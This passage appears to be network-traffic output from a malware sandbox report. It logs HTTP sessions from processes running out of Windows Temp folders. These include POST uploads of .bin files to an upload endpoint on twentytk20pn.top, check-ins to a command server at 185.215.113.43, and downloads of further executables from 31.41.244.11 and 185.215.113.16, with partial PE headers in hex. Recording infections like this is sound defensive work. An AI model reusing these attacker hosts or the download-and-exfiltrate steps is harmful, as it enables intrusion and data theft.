Dec 18, 2024 15:56:49.592221975 CET	1236	IN	Data Raw: 40 87 ed 54 82 39 a7 65 d9 59 28 96 81 6d 34 fb 45 7f b4 8a 06 27 60 90 4f 4d ca 13 fb 4d b4 ad 80 e0 37 93 52 c6 1a 7f 8b 48 e8 bd 4c dc 32 8c 72 74 bf be 8e de 18 ab ec 4f 6b 96 35 af 17 9f 6e 23 2a b7 df 6f f8 80 ee 54 55 b8 53 ee 93 a0 ac 67 Data Ascii: @T9eY(m4E'`OMM7RHL2rtOk5n#*oTUSg7dU}Z3L2=D1;3<a9\H+%]l\'9ona<m1zNphT+$#.iit.90}{D0oDs5
Dec 18, 2024 15:56:49.592227936 CET	1236	IN	Data Raw: 30 29 77 b2 3b 3e 31 d9 c5 ce e2 f0 2b d4 eb ed 3d 24 c5 14 99 0c 5e a2 59 32 26 fe 39 35 37 f3 2e 49 08 d1 2f 47 ad 1d f3 9c c7 e5 d3 ae e7 64 38 25 c9 27 17 9e 2f 29 33 55 ec b9 c8 45 e4 52 4a 0d c4 22 3f f4 d3 f0 f8 7e ce 67 19 e7 c5 f2 9c c6 Data Ascii: 0)w;>1+=$^Y2&957.I/Gd8%'/)3UERJ"?~g#oy[M^Dm$++}#q]Il*.:-@B.<j2D"E=0\|+C$gez"(;\|?"u`tz,
Dec 18, 2024 15:56:49.711703062 CET	1236	IN	Data Raw: a3 32 5b 7e c9 1c f4 c3 36 82 30 4e c7 fb ab 00 00 42 1a 80 ee 3d 0c 77 60 7f 98 88 5b 3c 2c ce e9 0c f0 56 44 33 07 bb 3c 91 b3 d0 73 27 15 79 ef 13 22 e9 d8 22 31 cf ea 18 68 c8 cb 0e 88 ba e2 e9 5d 30 9b 59 1e c3 42 dc a7 ba 4f 23 c4 78 9a 02 Data Ascii: 2[~60NB=w`[<,VD3<s'y""1h]0YBO#xDf8iJzwJ$.iX;igGrL46IAF7@O$ N*WaC9K#j/-?3&;V5zkF+TSP@;y\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49882	185.185.71.170	80	4816	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:54.688916922 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------AG5O5VamQKN3GdraSVFRwf Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 41 47 35 4f 35 56 61 6d 51 4b 4e 33 47 64 72 61 53 56 46 52 77 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 65 67 65 6a 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 90 08 7d 2a 1d 10 17 73 39 70 b3 ce 27 38 79 ab 6f 24 7c f5 bb 74 b8 b5 64 17 93 54 6b 27 03 66 15 67 ae 5e 6c f7 d5 3c 2f b5 0b f4 d8 7d e1 c6 0a 90 18 1f 6f 4d 27 61 29 e0 6b 54 3a 4b 3a 95 fc 19 ea 5c 68 9d 44 17 83 a0 01 73 08 df e9 d0 60 3e d2 e2 1c 30 8d c2 9c 9b b0 19 f5 3b d3 e8 03 36 ec 39 47 d7 67 77 6f 95 4e 97 e3 2c 5f b2 02 74 1f b7 09 bd 90 97 d1 ec e2 a8 40 a6 fe 2e da b6 1b 9d b0 56 ac 79 42 cb 78 4f 4d 7d bf 1b bb c5 2c e6 35 78 f1 3c b3 6d c8 fc cd 37 48 6e 37 28 7e 97 bc 5d 23 f6 bf b8 37 4b d2 92 f1 13 96 be [TRUNCATED] Data Ascii: --------------------------AG5O5VamQKN3GdraSVFRwfContent-Disposition: form-data; name="file"; filename="Vegeju.bin"Content-Type: application/octet-stream}*s9p'8yo$\|tdTk'fg^l</}oM'a)kT:K:\hDs`>0;69GgwoN,_t@.VyBxOM},5x<m7Hn7(~]#7K=GJy0\|e0i;o(t4DIB,/S0<=2kF3P`9<--------------------------AG5O5VamQKN3GdraSVFRwf--
Dec 18, 2024 15:56:56.035887957 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 14:56:55 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 23 x-ratelimit-reset: 1734535460 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	49885	185.215.113.43	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:55.171463013 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 33 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016939001&unit=246122658369
Dec 18, 2024 15:56:56.530976057 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.10	49889	34.107.221.82	80	6524	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:56.382826090 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 18, 2024 15:56:57.472493887 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 18 Dec 2024 10:15:34 GMT Age: 16883 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.10	49892	31.41.244.11	80	8152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:56.655906916 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:56:57.981009960 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:57 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 18, 2024 15:56:57.981024027 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 18, 2024 15:56:57.981040001 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 18, 2024 15:56:57.981053114 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 18, 2024 15:56:57.981065035 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 18, 2024 15:56:57.981076002 CET	672	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 18, 2024 15:56:57.981143951 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 18, 2024 15:56:57.981153011 CET	224	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$A
Dec 18, 2024 15:56:57.981163025 CET	1236	IN	Data Raw: 00 85 c0 75 0b 8b 06 6a 01 57 8b ce ff 50 04 4f 47 3b 7e 08 7c d8 5f 5e c3 56 8b f1 ff 76 0c e8 cf 68 01 00 ff 36 e8 c8 68 01 00 59 59 5e c3 ff 74 24 0c ff 74 24 0c ff 74 24 0c e8 59 ff ff ff 83 c4 0c 85 c0 74 04 8b 40 0c c3 33 c0 c3 55 8b ec 83 Data Ascii: ujWPOG;~\|_^Vvh6hYY^t$t$t$Yt@3U@}u3AE@uEEP At7M3;w.rE;Es$j+pPkYYtAA3@t$Yujht$jAt$jYu%8AV
Dec 18, 2024 15:56:57.981174946 CET	1236	IN	Data Raw: ff 75 08 53 ff 75 10 ff 15 18 a1 41 00 8b 0e 88 1c 08 89 46 04 5f 8b c6 5e 5b 5d c3 55 8b ec 83 ec 0c 8d 4d f4 e8 76 e6 ff ff 83 7d fc 01 7f 0a 6a 01 8d 4d f4 e8 32 e3 ff ff 56 8b 35 14 a1 41 00 57 8b 7d 08 8b 07 6a 01 ff 75 f4 50 ff d6 85 c0 75 Data Ascii: uSuAF_^[]UMv}jM2V5AW}juPuucY7S@PPMPSuVf$FYEEPdVcY[_^U cSVW}3SSSSWPEu50AXuEE3]]]}MQ
Dec 18, 2024 15:56:58.105755091 CET	1236	IN	Data Raw: 15 04 a1 41 00 5e c3 33 c0 5e c3 56 e8 ac fe ff ff 59 5e c3 53 8b 5c 24 0c 8b 03 83 63 04 00 66 83 20 00 56 8b 74 24 0c 57 6a 02 5f eb 08 66 3d 20 00 77 0a 03 f7 0f b7 06 66 85 c0 75 f0 66 83 3e 2c 75 0f eb 0b 66 85 c0 74 4d 66 3d 2c 00 74 47 03 Data Ascii: A^3^VY^S\$cf Vt$Wj_f= wfuf>,uftMf=,tGf={u0{t+uFf8}tF"Ff8{uPfu_^[L$Vj\%L$j/;~^VW\|$t$A~!FPPPt$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.10	49899	185.185.71.170	80	4816	C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:57.621566057 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 22026 Content-Type: multipart/form-data; boundary=------------------------mCAnp9mY0ATeNi03V1ADxv Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6d 43 41 6e 70 39 6d 59 30 41 54 65 4e 69 30 33 56 31 41 44 78 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6f 66 6f 6a 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 89 aa b0 a2 e8 d8 44 86 88 78 e7 42 fc f0 ec 71 60 bb ac 6d 44 80 da 8a c2 d4 20 5d f8 b7 1a 0d 42 37 bc 01 ee ad 1c a0 94 3e 82 a7 84 7d ed f8 1c e5 2d ea 90 a3 18 f5 f8 67 34 e1 9a b6 b0 4d d3 b9 a1 a5 ac c1 51 96 55 02 f3 81 01 b5 7d 8f 84 44 3f 29 41 66 08 43 6c 5a a8 e1 2a e0 70 72 c1 84 b0 af 38 73 eb 69 d5 46 b0 dd ba bc ac 1b 9f 7c 8a 2b 60 e2 c5 2e 13 69 4d e7 0e 1f 43 16 e6 a9 bc f2 3d 28 32 62 57 a5 4b 7c be fe b3 d1 1c a7 0d a8 af 69 40 29 a5 b7 5b c1 8f 79 54 18 37 69 df 26 e1 24 b8 19 8f 8a e5 52 08 54 49 2a d9 f0 [TRUNCATED] Data Ascii: --------------------------mCAnp9mY0ATeNi03V1ADxvContent-Disposition: form-data; name="file"; filename="Sofoju.bin"Content-Type: application/octet-streamDxBq`mD ]B7>}-g4MQU}D?)AfClZpr8siF\|+`.iMC=(2bWK\|i@)[yT7i&$RTI%8o6)s'~iZJIT[rOA.bhQ@@c(!R4 Un`dYPLY/k"cM^T83~+@'# iyy=u80x7aN1H)yVgB#E6fzqW`P7R>4UC9$IIf)V"CV)qR"26+`nI8Gi`W7s&qL"'0M_!mYEuU;4sPXuN+@S!Cb`[[d)39n6W9d WSsU74-i&7'eSk[(Y)3KCpW}&^tU-<X{ 2R.\8VOEcc\@$k#')iXwXEJ5?dP5>rCtDHgO0KX*?>B-Vg [TRUNCATED]
Dec 18, 2024 15:56:57.752604008 CET	9850	OUT	Data Raw: ca 14 be de 0d 0b 25 c5 63 49 2a bb 3f fa 61 47 1a e1 68 ae bc 7d f9 07 ee c3 d9 a8 3e 57 6c 3f a3 32 33 1a ae 63 58 24 49 9b 2f fc b9 26 15 bb f7 54 45 41 e3 24 09 93 03 97 aa 20 41 32 93 48 90 a0 b9 37 c0 73 82 9d d3 6a a0 3d 44 f2 2f 4d 4f 72 Data Ascii: %cI*?aGh}>Wl?23cX$I/&TEA$ A2H7sj=D/MOr<t]$a&P%8w] +kgP+k8_oS:NV}oPoZ?monvVer"Y.$\|&%c'O)m2,.gt%i/&Sm;Tk=GJM
Dec 18, 2024 15:56:59.208794117 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 14:56:58 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 22 x-ratelimit-reset: 1734535460 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.10	49901	185.215.113.16	80	6976	C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:56:58.093805075 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 18, 2024 15:56:59.391355991 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:56:58 GMT Content-Type: application/octet-stream Content-Length: 1809920 Last-Modified: Wed, 18 Dec 2024 14:23:53 GMT Connection: keep-alive ETag: "6762daf9-1b9e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 48 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 48 00 00 04 00 00 92 28 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ H `@ `H(`Ui`D @ @.rsrcD`2@.idata 6@ ,8@yxtglqzl@,>:@ovmlmqjr Hx@.taggant@ H"\|@
Dec 18, 2024 15:56:59.391422033 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:59.391433001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:59.391566992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:59.391577959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:59.391587973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:59.391601086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:56:59.391815901 CET	1000	IN	Data Raw: 78 44 2f de 00 29 2e 93 99 38 30 1b 8a c6 d2 ae 7d ed c8 be 3e 13 dc 7e cd 76 fa 9d 57 f3 69 83 21 c0 83 32 5b d1 a8 fe 71 b9 f2 a4 aa 0f 3e 9e ee 77 0e ad d2 42 3b 99 98 11 31 67 e8 7f 77 80 ea 4a 1e dd 00 7d 22 c5 3c 66 0f 63 8e 68 31 0e c3 a1 Data Ascii: xD/).80}>~vWi!2[q>wB;1gwJ}"<fch1 jr71' PR@AE9D)1f3u\|}^;d)p%GNS:KUe .!QT4MGJ[k6OhQ\|'j(bJ~],'oJt[$
Dec 18, 2024 15:56:59.391828060 CET	1236	IN	Data Raw: 3d 44 a7 fa e4 1b d2 ec 0a d5 31 1f eb 3b 33 8d cd 0c 1c e8 00 3c e8 08 f9 61 ec 96 9a 39 b7 fe 5c 48 2b 25 85 8a 5d d4 6c f7 89 5c 27 93 f2 ba 39 be 16 c5 c6 85 b5 f4 f0 09 6f b6 9f e9 a0 ba 6e 61 09 8d 3c 6d 31 1d 7a f9 8d ce c3 4e d1 94 cc 08 Data Ascii: =D1;3<a9\H+%]l\'9ona<m1zNphT+$#.iit.90}{D0oDs5k$E{1b,l26y0W_00\%nE>&7REAY}63l8HsE0AE$lEDE
Dec 18, 2024 15:56:59.391838074 CET	1236	IN	Data Raw: 5e 44 6d c0 24 2b bc bd 86 fc eb 03 2b ca 7d bd 80 fc d3 93 02 82 f8 fa 86 06 db e9 96 23 97 88 71 5d 49 f4 6c cf 2a 97 2e a2 b6 3a 2d 40 42 89 1b 2e fa 3c e3 e5 09 e4 c2 6a d4 32 9c 0f 44 e9 df dd 22 84 0a 45 d3 3d d6 30 d4 7c 2b 43 d4 24 c1 b7 Data Ascii: ^Dm$++}#q]Il*.:-@B.<j2D"E=0\|+C$gez"(;\|?"u`tz,?Nb"e!J28(6n)b={i(jw3+$^~Z5B%xj&j2
Dec 18, 2024 15:56:59.511250019 CET	1236	IN	Data Raw: 94 24 2e dc 97 69 b0 f4 58 a6 3b c6 69 0f b3 ae 89 da 04 ca 67 93 ba 9b a7 05 47 c5 72 4c 1c ec b3 1a 34 9e a2 a4 36 49 9e 41 08 8a ea 46 37 cf 8c 40 f3 a3 8d 4f 00 99 12 06 24 89 20 4e ae 91 90 1f 2a 2a 57 61 d9 95 89 b7 43 b9 9c 39 4b 23 89 6a Data Ascii: $.iX;igGrL46IAF7@O$ N*WaC9K#j/-?3&;V5zkF+TSP@;y\C{2GH$`H7W81M8]`<MNM3r1H/F8n32tlzd@;^i=Ohl9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.10	49910	34.107.221.82	80	6524	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:57:00.143618107 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 15:57:01.228980064 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 17 Dec 2024 15:30:17 GMT Age: 84404 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 15:57:04.422547102 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 18, 2024 15:57:04.737102032 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 17 Dec 2024 15:30:17 GMT Age: 84407 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 18, 2024 15:57:14.777877092 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
